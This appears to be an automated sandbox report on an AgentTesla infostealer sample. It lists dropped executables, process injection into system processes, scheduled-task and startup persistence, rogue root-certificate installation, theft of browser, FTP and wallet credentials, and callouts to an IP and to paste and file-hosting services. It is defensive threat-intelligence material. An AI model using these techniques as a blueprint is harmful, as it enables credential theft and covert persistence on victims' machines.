agenttesla | 98e895f711226a32bfab152e224279d859799243845c46e550c2d32153c619fc

System Information Discovery

Processes:

mQxBvlTA.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	mQxBvlTA.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	mQxBvlTA.exe

Drops startup file 1 IoCs

Processes:

word.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\word.vbs word.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\word.vbs	word.exe

Executes dropped EXE 49 IoCs

Processes:

mQxBvlTA.exexIPJVPDq.exeFZuUwBfo.execrypted6077866846MVYQY.exei1gcbW1E.exewininit.exe1234.exeISetup8.exeu2z4.0.exeu2z4.1.exeword.exetest2.exeword.exeword.exe1111.exeISetup2.exeTester.exesvchost.exeu348.0.exe555.exeDocument.exeBrawlB0t.exemedcallaboratory5.exesecuritycheck.exePrintSpoofer.exeAdobe_update.exeRetailer_prog.exeBroomSetup.exealexxxxxxxx.exesyncUpd.exeLedger-Live.exepropro.exeTraffic.exeDocument.exeDocument.exe1111.exenew1.exeswiiii.exeISetup5.exeu3vc.0.exemstsc.exeJufrxnb.exeJufrxnb.exemsdtc.exeJufrxnb.exeJufrxnb.exeOneDrive.exeu3vc.1.execrypted_097f1784.exe

pid	process
2924	mQxBvlTA.exe
5080	xIPJVPDq.exe
3200	FZuUwBfo.exe
3196	crypted6077866846MVYQY.exe
2044	i1gcbW1E.exe
4832	wininit.exe
4852	1234.exe
3856	ISetup8.exe
1548	u2z4.0.exe
4032	u2z4.1.exe
1960	word.exe
4512	test2.exe
2488	word.exe
5100	word.exe
3108	1111.exe
4040	ISetup2.exe
3160	Tester.exe
2264	svchost.exe
4884	u348.0.exe
4700	555.exe
4300	Document.exe
4692	BrawlB0t.exe
332	medcallaboratory5.exe
5012	securitycheck.exe
4236	PrintSpoofer.exe
4936	Adobe_update.exe
1048	Retailer_prog.exe
5040	BroomSetup.exe
2492	alexxxxxxxx.exe
5020	syncUpd.exe
4032	Ledger-Live.exe
3736	propro.exe
2868	Traffic.exe
5368	Document.exe
5380	Document.exe
5724	1111.exe
5868	new1.exe
2788	swiiii.exe
5016	ISetup5.exe
5900	u3vc.0.exe
5748	mstsc.exe
5684	Jufrxnb.exe
5380	Jufrxnb.exe
6080	msdtc.exe
1568	Jufrxnb.exe
6128	Jufrxnb.exe
5436	OneDrive.exe
5948	u3vc.1.exe
5524	crypted_097f1784.exe

Loads dropped DLL 2 IoCs

Processes:

RegAsm.exe

pid process

5472 RegAsm.exe
5472 RegAsm.exe
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

pid	process
5472	RegAsm.exe
5472	RegAsm.exe

Themida packer 3 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\a\mQxBvlTA.exe	themida
behavioral4/memory/2924-59-0x0000000000150000-0x000000000126C000-memory.dmp	themida
behavioral4/memory/2924-60-0x0000000000150000-0x000000000126C000-memory.dmp	themida

Unexpected DNS network traffic destination 1 IoCs
Network traffic to other servers than the configured DNS servers was detected on the DNS port.

Processes:

description ioc

Destination IP 45.155.250.90
Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Checks whether UAC is enabled 1 TTPs 1 IoCs
evasion trojan

System Information Discovery
T1082

Processes:

mQxBvlTA.exe

description ioc process

Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA mQxBvlTA.exe

description	ioc
Destination IP	45.155.250.90

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	mQxBvlTA.exe

Enumerates connected drives 3 TTPs 22 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

Jufrxnb.exe

description	ioc	process
File opened (read-only)	\??\U:	Jufrxnb.exe
File opened (read-only)	\??\B:	Jufrxnb.exe
File opened (read-only)	\??\I:	Jufrxnb.exe
File opened (read-only)	\??\K:	Jufrxnb.exe
File opened (read-only)	\??\M:	Jufrxnb.exe
File opened (read-only)	\??\O:	Jufrxnb.exe
File opened (read-only)	\??\T:	Jufrxnb.exe
File opened (read-only)	\??\V:	Jufrxnb.exe
File opened (read-only)	\??\H:	Jufrxnb.exe
File opened (read-only)	\??\L:	Jufrxnb.exe
File opened (read-only)	\??\N:	Jufrxnb.exe
File opened (read-only)	\??\R:	Jufrxnb.exe
File opened (read-only)	\??\S:	Jufrxnb.exe
File opened (read-only)	\??\G:	Jufrxnb.exe
File opened (read-only)	\??\X:	Jufrxnb.exe
File opened (read-only)	\??\Y:	Jufrxnb.exe
File opened (read-only)	\??\Z:	Jufrxnb.exe
File opened (read-only)	\??\E:	Jufrxnb.exe
File opened (read-only)	\??\J:	Jufrxnb.exe
File opened (read-only)	\??\P:	Jufrxnb.exe
File opened (read-only)	\??\Q:	Jufrxnb.exe
File opened (read-only)	\??\W:	Jufrxnb.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs

Web Service
T1102

Processes:

flow ioc

1 raw.githubusercontent.com
3 pastebin.com
6 raw.githubusercontent.com
9 pastebin.com
257 drive.google.com
258 drive.google.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

28 ip-api.com

flow	ioc
1	raw.githubusercontent.com
3	pastebin.com
6	raw.githubusercontent.com
9	pastebin.com
257	drive.google.com
258	drive.google.com

flow	ioc
28	ip-api.com

AutoIT Executable 6 IoCs

AutoIT scripts compiled to PE executables.

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\a\wininit.exe	autoit_exe
C:\Users\Admin\AppData\Local\directory\word.exe	autoit_exe
C:\Users\Admin\AppData\Local\directory\word.exe	autoit_exe
C:\Users\Admin\AppData\Local\directory\word.exe	autoit_exe
C:\Users\Admin\AppData\Local\directory\word.exe	autoit_exe
C:\Users\Admin\AppData\Local\Temp\a\medcallaboratory5.exe	autoit_exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

mQxBvlTA.exe

pid process

2924 mQxBvlTA.exe

Suspicious use of SetThreadContext 7 IoCs

Processes:

word.exemedcallaboratory5.exeAdobe_update.exealexxxxxxxx.exeDocument.exeswiiii.execrypted_097f1784.exe

description	pid	process	target process
PID 5100 set thread context of 3964	5100	word.exe	svchost.exe
PID 332 set thread context of 988	332	medcallaboratory5.exe	RegSvcs.exe
PID 4936 set thread context of 2420	4936	Adobe_update.exe	RegAsm.exe
PID 2492 set thread context of 1968	2492	alexxxxxxxx.exe	RegAsm.exe
PID 4300 set thread context of 5380	4300	Document.exe	Jufrxnb.exe
PID 2788 set thread context of 5472	2788	swiiii.exe	RegAsm.exe
PID 5524 set thread context of 5372	5524	crypted_097f1784.exe	RegAsm.exe

Drops file in Program Files directory 2 IoCs

Processes:

mstsc.exe

description	ioc	process
File created	C:\Program Files (x86)\Microsoft Jufbhx\Jufrxnb.exe	mstsc.exe
File opened for modification	C:\Program Files (x86)\Microsoft Jufbhx\Jufrxnb.exe	mstsc.exe

Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exe

pid process

5748 sc.exe
1408 sc.exe
3016 sc.exe
3024 sc.exe

pid	process
5748	sc.exe
1408	sc.exe
3016	sc.exe
3024	sc.exe

Detects Pyinstaller 2 IoCs

pyinstaller

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\a\Pgp-Soft.exe	pyinstaller
C:\Users\Admin\AppData\Local\Temp\ckz_8CRM\nds.exe	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 28 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
2264	3856	WerFault.exe	ISetup8.exe
876	3856	WerFault.exe	ISetup8.exe
1848	4884	WerFault.exe	u348.0.exe
1404	4936	WerFault.exe	Adobe_update.exe
2648	5020	WerFault.exe	syncUpd.exe
5876	5724	WerFault.exe	1111.exe
5232	5748	WerFault.exe	mstsc.exe
5292	5684	WerFault.exe	Jufrxnb.exe
6032	5380	WerFault.exe	Jufrxnb.exe
5828	1568	WerFault.exe	Jufrxnb.exe
1848	5016	WerFault.exe	ISetup5.exe
5600	5016	WerFault.exe	ISetup5.exe
5976	5524	WerFault.exe	crypted_097f1784.exe
5004	5900	WerFault.exe	u3vc.0.exe
1484	4432	WerFault.exe	crypted_33cb9091.exe
5512	440	WerFault.exe	uzs.0.exe
1380	1288	WerFault.exe	ISetup1.exe
2552	1288	WerFault.exe	ISetup1.exe
2816	5688	WerFault.exe	crypted_69a30000.exe
5600	3308	WerFault.exe	current.exe
2300	5468	WerFault.exe	inte.exe
4176	5468	WerFault.exe	inte.exe
4940	5468	WerFault.exe	inte.exe
4992	5468	WerFault.exe	inte.exe
4176	5468	WerFault.exe	inte.exe
5368	5468	WerFault.exe	inte.exe
2268	5468	WerFault.exe	inte.exe
5680	5468	WerFault.exe	inte.exe

Checks SCSI registry key(s) 3 TTPs 9 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

u3vc.1.exeu2z4.1.exeBroomSetup.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	u3vc.1.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	u3vc.1.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	u3vc.1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	u2z4.1.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	u2z4.1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	BroomSetup.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	BroomSetup.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	u2z4.1.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	BroomSetup.exe

Checks processor information in registry 2 TTPs 10 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

RegAsm.exeJufrxnb.exeu2z4.0.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	RegAsm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	RegAsm.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jufrxnb.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	Jufrxnb.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	u2z4.0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Jufrxnb.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Jufrxnb.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	Jufrxnb.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	Jufrxnb.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	u2z4.0.exe

Creates scheduled task(s) 1 TTPs 34 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

Processes:

pid	process
5276	schtasks.exe
308	schtasks.exe
2424	schtasks.exe
5756	schtasks.exe
1780	schtasks.exe
364	schtasks.exe
4228	schtasks.exe
2324	schtasks.exe
1260	schtasks.exe
5540	schtasks.exe
4796	schtasks.exe
5688	schtasks.exe
3120	schtasks.exe
5052	schtasks.exe
2212	schtasks.exe
4868	schtasks.exe
3500	schtasks.exe
5376	schtasks.exe
4928	schtasks.exe
5236	schtasks.exe
6040	schtasks.exe
3440	schtasks.exe
1828	schtasks.exe
4108	schtasks.exe
228	schtasks.exe
5888	schtasks.exe
304	schtasks.exe
6104	schtasks.exe
1396	schtasks.exe
2552	schtasks.exe
2912	schtasks.exe
2612	schtasks.exe
5352	schtasks.exe
2120	schtasks.exe

Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

2312 timeout.exe

pid	process
2312	timeout.exe

Modifies data under HKEY_USERS 5 IoCs

Processes:

Jufrxnb.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum	Jufrxnb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	Jufrxnb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	Jufrxnb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie	Jufrxnb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum\Version = "7"	Jufrxnb.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

Processes:

RegAsm.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064	RegAsm.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b06420000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61	RegAsm.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

5548 PING.EXE

pid	process
5548	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

xIPJVPDq.exeFZuUwBfo.execrypted6077866846MVYQY.exeu2z4.0.exepowershell.exepowershell.exesvchost.exeRegSvcs.exesecuritycheck.exepowershell.exepowershell.exepowershell.exepowershell.exesvchost.exeDocument.exeRetailer_prog.exepowershell.exe

pid	process
5080	xIPJVPDq.exe
5080	xIPJVPDq.exe
5080	xIPJVPDq.exe
5080	xIPJVPDq.exe
3200	FZuUwBfo.exe
3200	FZuUwBfo.exe
3200	FZuUwBfo.exe
3200	FZuUwBfo.exe
3196	crypted6077866846MVYQY.exe
3196	crypted6077866846MVYQY.exe
3196	crypted6077866846MVYQY.exe
3196	crypted6077866846MVYQY.exe
3196	crypted6077866846MVYQY.exe
3196	crypted6077866846MVYQY.exe
3196	crypted6077866846MVYQY.exe
3196	crypted6077866846MVYQY.exe
3196	crypted6077866846MVYQY.exe
3196	crypted6077866846MVYQY.exe
3196	crypted6077866846MVYQY.exe
3196	crypted6077866846MVYQY.exe
3196	crypted6077866846MVYQY.exe
1548	u2z4.0.exe
1548	u2z4.0.exe
3560	powershell.exe
3560	powershell.exe
3560	powershell.exe
1760	powershell.exe
1760	powershell.exe
1760	powershell.exe
2264	svchost.exe
2264	svchost.exe
988	RegSvcs.exe
988	RegSvcs.exe
988	RegSvcs.exe
5012	securitycheck.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
4672	powershell.exe
4672	powershell.exe
4672	powershell.exe
4608	powershell.exe
4608	powershell.exe
4608	powershell.exe
1568	powershell.exe
1568	powershell.exe
1568	powershell.exe
2180	svchost.exe
2180	svchost.exe
4300	Document.exe
4300	Document.exe
4300	Document.exe
4300	Document.exe
4300	Document.exe
1048	Retailer_prog.exe
1048	Retailer_prog.exe
4300	Document.exe
4300	Document.exe
4300	Document.exe
4300	Document.exe
1364	powershell.exe
1364	powershell.exe
4300	Document.exe
4300	Document.exe

Suspicious behavior: MapViewOfSection 5 IoCs

Processes:

word.exeword.exeword.exemedcallaboratory5.exe

pid process

1960 word.exe
2488 word.exe
5100 word.exe
332 medcallaboratory5.exe
332 medcallaboratory5.exe

pid	process
1960	word.exe
2488	word.exe
5100	word.exe
332	medcallaboratory5.exe
332	medcallaboratory5.exe

Suspicious use of AdjustPrivilegeToken 42 IoCs

Processes:

New Text Document.exexIPJVPDq.exeFZuUwBfo.execrypted6077866846MVYQY.exemQxBvlTA.exesvchost.exevssvc.exepowershell.exepowershell.exeBrawlB0t.exeRegSvcs.exepowershell.exepowershell.exepowershell.exesvchost.exepowershell.exeDocument.exeTraffic.exepowershell.exepowershell.exeDocument.exeSystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exemstsc.exeJufrxnb.exeJufrxnb.exeJufrxnb.exeJufrxnb.exeOneDrive.exemsdtc.exe

description	pid	process
Token: SeDebugPrivilege	1140	New Text Document.exe
Token: SeDebugPrivilege	5080	xIPJVPDq.exe
Token: SeDebugPrivilege	3200	FZuUwBfo.exe
Token: SeDebugPrivilege	3196	crypted6077866846MVYQY.exe
Token: SeDebugPrivilege	2924	mQxBvlTA.exe
Token: SeDebugPrivilege	2264	svchost.exe
Token: SeBackupPrivilege	916	vssvc.exe
Token: SeRestorePrivilege	916	vssvc.exe
Token: SeAuditPrivilege	916	vssvc.exe
Token: SeDebugPrivilege	3560	powershell.exe
Token: SeDebugPrivilege	1760	powershell.exe
Token: SeDebugPrivilege	2264	svchost.exe
Token: SeDebugPrivilege	4692	BrawlB0t.exe
Token: SeDebugPrivilege	988	RegSvcs.exe
Token: SeDebugPrivilege	1648	powershell.exe
Token: SeDebugPrivilege	4672	powershell.exe
Token: SeDebugPrivilege	4608	powershell.exe
Token: SeDebugPrivilege	2180	svchost.exe
Token: SeDebugPrivilege	2180	svchost.exe
Token: SeDebugPrivilege	1568	powershell.exe
Token: SeDebugPrivilege	2180	svchost.exe
Token: SeDebugPrivilege	4300	Document.exe
Token: SeDebugPrivilege	2868	Traffic.exe
Token: SeDebugPrivilege	1364	powershell.exe
Token: SeDebugPrivilege	4804	powershell.exe
Token: SeBackupPrivilege	2868	Traffic.exe
Token: SeSecurityPrivilege	2868	Traffic.exe
Token: SeSecurityPrivilege	2868	Traffic.exe
Token: SeSecurityPrivilege	2868	Traffic.exe
Token: SeSecurityPrivilege	2868	Traffic.exe
Token: SeDebugPrivilege	5380	Document.exe
Token: SeDebugPrivilege	5816	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
Token: SeDebugPrivilege	5748	mstsc.exe
Token: SeDebugPrivilege	5684	Jufrxnb.exe
Token: SeDebugPrivilege	5380	Jufrxnb.exe
Token: SeDebugPrivilege	5380	Jufrxnb.exe
Token: SeDebugPrivilege	5380	Jufrxnb.exe
Token: SeDebugPrivilege	6128	Jufrxnb.exe
Token: SeDebugPrivilege	1568	Jufrxnb.exe
Token: SeDebugPrivilege	6128	Jufrxnb.exe
Token: SeDebugPrivilege	5436	OneDrive.exe
Token: SeDebugPrivilege	6080	msdtc.exe

Suspicious use of FindShellTrayWindow 31 IoCs

Processes:

wininit.exeu2z4.1.exeword.exeword.exeword.exemedcallaboratory5.exeBroomSetup.exeu3vc.1.exe

pid	process
4832	wininit.exe
4832	wininit.exe
4032	u2z4.1.exe
4032	u2z4.1.exe
4032	u2z4.1.exe
4032	u2z4.1.exe
4032	u2z4.1.exe
4032	u2z4.1.exe
4032	u2z4.1.exe
1960	word.exe
1960	word.exe
2488	word.exe
2488	word.exe
5100	word.exe
5100	word.exe
332	medcallaboratory5.exe
332	medcallaboratory5.exe
5040	BroomSetup.exe
5040	BroomSetup.exe
5040	BroomSetup.exe
5040	BroomSetup.exe
5040	BroomSetup.exe
5040	BroomSetup.exe
5040	BroomSetup.exe
5948	u3vc.1.exe
5948	u3vc.1.exe
5948	u3vc.1.exe
5948	u3vc.1.exe
5948	u3vc.1.exe
5948	u3vc.1.exe
5948	u3vc.1.exe

Suspicious use of SendNotifyMessage 31 IoCs

Processes:

wininit.exeu2z4.1.exeword.exeword.exeword.exemedcallaboratory5.exeBroomSetup.exeu3vc.1.exe

pid	process
4832	wininit.exe
4832	wininit.exe
4032	u2z4.1.exe
4032	u2z4.1.exe
4032	u2z4.1.exe
4032	u2z4.1.exe
4032	u2z4.1.exe
4032	u2z4.1.exe
4032	u2z4.1.exe
1960	word.exe
1960	word.exe
2488	word.exe
2488	word.exe
5100	word.exe
5100	word.exe
332	medcallaboratory5.exe
332	medcallaboratory5.exe
5040	BroomSetup.exe
5040	BroomSetup.exe
5040	BroomSetup.exe
5040	BroomSetup.exe
5040	BroomSetup.exe
5040	BroomSetup.exe
5040	BroomSetup.exe
5948	u3vc.1.exe
5948	u3vc.1.exe
5948	u3vc.1.exe
5948	u3vc.1.exe
5948	u3vc.1.exe
5948	u3vc.1.exe
5948	u3vc.1.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

svchost.exesvchost.exe

pid process

2264 svchost.exe
2180 svchost.exe

pid	process
2264	svchost.exe
2180	svchost.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

New Text Document.exexIPJVPDq.exeISetup8.exewininit.exeword.exeword.exeword.exeISetup2.exe

description	pid	process	target process
PID 1140 wrote to memory of 2924	1140	New Text Document.exe	mQxBvlTA.exe
PID 1140 wrote to memory of 2924	1140	New Text Document.exe	mQxBvlTA.exe
PID 1140 wrote to memory of 2924	1140	New Text Document.exe	mQxBvlTA.exe
PID 1140 wrote to memory of 5080	1140	New Text Document.exe	xIPJVPDq.exe
PID 1140 wrote to memory of 5080	1140	New Text Document.exe	xIPJVPDq.exe
PID 1140 wrote to memory of 5080	1140	New Text Document.exe	xIPJVPDq.exe
PID 5080 wrote to memory of 3200	5080	xIPJVPDq.exe	FZuUwBfo.exe
PID 5080 wrote to memory of 3200	5080	xIPJVPDq.exe	FZuUwBfo.exe
PID 1140 wrote to memory of 3196	1140	New Text Document.exe	crypted6077866846MVYQY.exe
PID 1140 wrote to memory of 3196	1140	New Text Document.exe	crypted6077866846MVYQY.exe
PID 1140 wrote to memory of 3196	1140	New Text Document.exe	crypted6077866846MVYQY.exe
PID 1140 wrote to memory of 2044	1140	New Text Document.exe	i1gcbW1E.exe
PID 1140 wrote to memory of 2044	1140	New Text Document.exe	i1gcbW1E.exe
PID 1140 wrote to memory of 4832	1140	New Text Document.exe	wininit.exe
PID 1140 wrote to memory of 4832	1140	New Text Document.exe	wininit.exe
PID 1140 wrote to memory of 4832	1140	New Text Document.exe	wininit.exe
PID 1140 wrote to memory of 4852	1140	New Text Document.exe	1234.exe
PID 1140 wrote to memory of 4852	1140	New Text Document.exe	1234.exe
PID 1140 wrote to memory of 4852	1140	New Text Document.exe	1234.exe
PID 1140 wrote to memory of 3856	1140	New Text Document.exe	ISetup8.exe
PID 1140 wrote to memory of 3856	1140	New Text Document.exe	ISetup8.exe
PID 1140 wrote to memory of 3856	1140	New Text Document.exe	ISetup8.exe
PID 3856 wrote to memory of 1548	3856	ISetup8.exe	u2z4.0.exe
PID 3856 wrote to memory of 1548	3856	ISetup8.exe	u2z4.0.exe
PID 3856 wrote to memory of 1548	3856	ISetup8.exe	u2z4.0.exe
PID 3856 wrote to memory of 4032	3856	ISetup8.exe	Ledger-Live.exe
PID 3856 wrote to memory of 4032	3856	ISetup8.exe	Ledger-Live.exe
PID 3856 wrote to memory of 4032	3856	ISetup8.exe	Ledger-Live.exe
PID 4832 wrote to memory of 1960	4832	wininit.exe	word.exe
PID 4832 wrote to memory of 1960	4832	wininit.exe	word.exe
PID 4832 wrote to memory of 1960	4832	wininit.exe	word.exe
PID 1140 wrote to memory of 4512	1140	New Text Document.exe	test2.exe
PID 1140 wrote to memory of 4512	1140	New Text Document.exe	test2.exe
PID 1960 wrote to memory of 4084	1960	word.exe	svchost.exe
PID 1960 wrote to memory of 4084	1960	word.exe	svchost.exe
PID 1960 wrote to memory of 4084	1960	word.exe	svchost.exe
PID 1960 wrote to memory of 2488	1960	word.exe	word.exe
PID 1960 wrote to memory of 2488	1960	word.exe	word.exe
PID 1960 wrote to memory of 2488	1960	word.exe	word.exe
PID 2488 wrote to memory of 4176	2488	word.exe	svchost.exe
PID 2488 wrote to memory of 4176	2488	word.exe	svchost.exe
PID 2488 wrote to memory of 4176	2488	word.exe	svchost.exe
PID 2488 wrote to memory of 5100	2488	word.exe	word.exe
PID 2488 wrote to memory of 5100	2488	word.exe	word.exe
PID 2488 wrote to memory of 5100	2488	word.exe	word.exe
PID 1140 wrote to memory of 3108	1140	New Text Document.exe	1111.exe
PID 1140 wrote to memory of 3108	1140	New Text Document.exe	1111.exe
PID 1140 wrote to memory of 4040	1140	New Text Document.exe	ISetup2.exe
PID 1140 wrote to memory of 4040	1140	New Text Document.exe	ISetup2.exe
PID 1140 wrote to memory of 4040	1140	New Text Document.exe	ISetup2.exe
PID 5100 wrote to memory of 3964	5100	word.exe	svchost.exe
PID 5100 wrote to memory of 3964	5100	word.exe	svchost.exe
PID 5100 wrote to memory of 3964	5100	word.exe	svchost.exe
PID 5100 wrote to memory of 3964	5100	word.exe	svchost.exe
PID 1140 wrote to memory of 3160	1140	New Text Document.exe	Tester.exe
PID 1140 wrote to memory of 3160	1140	New Text Document.exe	Tester.exe
PID 1140 wrote to memory of 2264	1140	New Text Document.exe	svchost.exe
PID 1140 wrote to memory of 2264	1140	New Text Document.exe	svchost.exe
PID 4040 wrote to memory of 4884	4040	ISetup2.exe	u348.0.exe
PID 4040 wrote to memory of 4884	4040	ISetup2.exe	u348.0.exe
PID 4040 wrote to memory of 4884	4040	ISetup2.exe	u348.0.exe
PID 1140 wrote to memory of 4700	1140	New Text Document.exe	555.exe
PID 1140 wrote to memory of 4700	1140	New Text Document.exe	555.exe
PID 1140 wrote to memory of 4300	1140	New Text Document.exe	Document.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\New Text Document.exe
"C:\Users\Admin\AppData\Local\Temp\New Text Document.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1140

C:\Users\Admin\AppData\Local\Temp\a\mQxBvlTA.exe
